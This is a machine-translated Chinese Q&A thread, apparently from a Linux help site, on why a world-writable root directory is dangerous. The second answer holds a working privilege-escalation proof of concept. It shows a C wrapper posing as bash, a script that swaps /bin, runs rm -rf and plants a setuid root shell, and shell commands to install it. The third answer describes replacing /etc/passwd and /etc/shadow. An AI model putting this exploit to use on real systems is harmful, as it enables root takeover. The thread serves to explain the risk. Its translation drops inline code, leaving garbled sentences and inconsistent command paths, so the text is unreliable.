不过大部分内容都是755。
这是一个问题吗?
答案1
有趣的是,它/
实际上允许777
在其上设置权限。该/
文件夹不应具有777
权限,因为这意味着任何登录到系统的用户都可以在/
根级别创建文件和文件夹。我已经在虚拟机中测试过这一点,你不能删除任何不是 或 的文件夹或文件777
。sudo
访问root
权限owner
仍然受到限制,例如尝试访问/root
文件夹本身会导致权限被拒绝。但是,话虽如此,您仍然可以将/root
文件夹移动到 ,从而/root.old
造成一点混乱。
要解决此问题,您可以运行sudo chmod 755 /
以将权限更改为应有的权限。您也可以运行sudo chown root:root /
以确保它由 root 本身拥有。 请勿使用 -R 运行任何命令,因为这将更改分区中的所有文件和文件夹以匹配权限和所有权。
希望这可以帮助!
答案2
/
不应为全球可写
/
可以被全世界写入巨大的问题。任何拥有 的写入权限的/
用户都可以移动/重命名 中的任何文件或目录/
。这意味着任何用户都可以用自己选择的目录替换/etc
或/usr
中的任何其他目录。/
拒绝服务:简单
任何用户都可以通过重命名/etc
和轻松地对您的系统实施 DoS 攻击/usr
。
权限提升:稍微不那么简单
执行权限提升稍微困难一些。用户可以/bin
用自己的副本替换,然后任何进程尝试使用cp
,甚至启动 shell,将立即受到他们的摆布。用户需要做的就是等待以 root 身份运行的进程使用 中的任何命令/bin
,或等待 root 用户使用 login,然后他们就可以进入。
例子
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
进而:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
下次 root 启动 shell 时,您会在主目录中获得一个 setuid 可执行文件,然后您可以随时轻松地使用它来获取 root 权限,而不会留下太多痕迹。
答案3
/
不可以。 (根目录)有权限是不安全的777
。也就是说rwxrwxrwx
,每个用户对根目录都有写权限。
有了该权限,每个用户都可以创建新的子目录、删除现有的子目录以及替换现有的子目录。例如,恶意用户可以删除/bin
(通过将其重命名为/bin.old
)并创建一个/bin
由他们拥有的新目录,其中包含恶意可执行文件。或者,用户可以删除/etc
(通过将其重命名为/etc.old
)并创建一个新的目录/etc
,其中包含一个新的/etc/passwd
和/etc/shadow
文件,让用户可以登录系统上的每个帐户。